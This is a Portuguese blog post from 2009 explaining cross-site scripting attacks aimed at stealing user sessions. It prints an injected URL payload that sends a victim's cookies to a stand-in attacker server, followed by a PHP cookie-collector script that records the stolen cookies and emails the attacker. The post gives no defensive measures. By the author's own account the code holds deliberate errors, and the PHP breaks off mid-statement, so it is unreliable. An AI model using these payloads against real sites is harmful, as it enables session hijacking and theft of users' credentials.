14 dezembro, 2009

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) é a melhor forma de ataque contra a rede interna de empresas. O XSS permanece como o ataque mais popular contra todos porque é fácil de encontrar e de executar, enquanto que as consequências deste ataque podem ser devastadoras. O XSS é normalmente mencionado durante a discussão de exploração de falhas de segurança no lado do cliente. Neste artigo vou assumir que estás familiarizado com o conceito do XSS. O objectivo desta entrada é demonstrar como os hackers sofisticados de hoje em dia conseguem ter a maior das vantagens com as falhas do XSS.

O monte de dados que está a ser repassado entre utilizadores e aplicações online é impressionante. Parece que qualquer função empresarial mais significante tem uma interface web para gestão e utilização dos dados. A enorme informação sensível que é transmitida em transacções online torna os roubos online apelativos e muito lucrativos. Dos vários ataques online, o XSS permanece como um dos mais proliferantes. Apesar do grande número de técnicas que existem para o ataque de XSS, apenas vou exemplificar alguns ataques que estão direccionados para o roubo de informações dos utilizadores. Estes ataques aumentam em complexidade e podem ser utilizados como ponto de partida para ataques mais evoluídos.

P.S.: Todos exemplos aqui mostrados possuem erros de programação colocados de propósito de forma a não serem utilizáveis. Pois eu não poderei saber se uso que lhes dessem seria de uma maneira positiva ou negativa.

 

Roubando Sessões

Muitas vezes os hackers utilizam o XSS para roubar as sessões dos utilizadores. De seguida vou demonstrar o “Ola Mundo” dos ataques XSS. O mais simples parece-se com isto:

http://servidorvulneravel.pt/falha.jsp?parameter=”><script> doc.loc=http://servidoratacante.pt/apanhacookies.php?cookie=+”doc.coo+”&loca=”+doc.loc;</script>

O cabeçalho inserido envia os cookies do utilizador para o servidor do atacante. No servidor do atacante, o ficheiro apanhacookies.php guardar os valores do cookie e notifica o atacante de uma invasão bem sucedida:

<?php
if(($_GET[‘cookie’] == “”)||($_GET[‘loc’] == “”))
{
// nenhuma acção necessária
}
else
{
// Cookies roubados e localização
$cookie=$_GET[‘cookie’];
$location=$_GET[‘location’];
//Notifica o atacante
$stolencookies = “ Abre o navegador: “ . $location . “;
\r\n Define o cookie: javascript:document.cookie=’”. $cookie . “’;
\r\n Rouba a sessão!: “ . $location;
$name = “Outra vitima”;
$email = “vitima@sessãoroubada.com";
$recipient = “atacante@ataque.com”;
$email_body = $stolencookies;
$subject=”Mais um caiu na falha – “ .$location;
$header= “De: “ .$Name

Sim é assim tão simples. Com o código PHP no servidor do atacante, roubar uma sessão é como tirar doces a uma criança.

Sem comentários: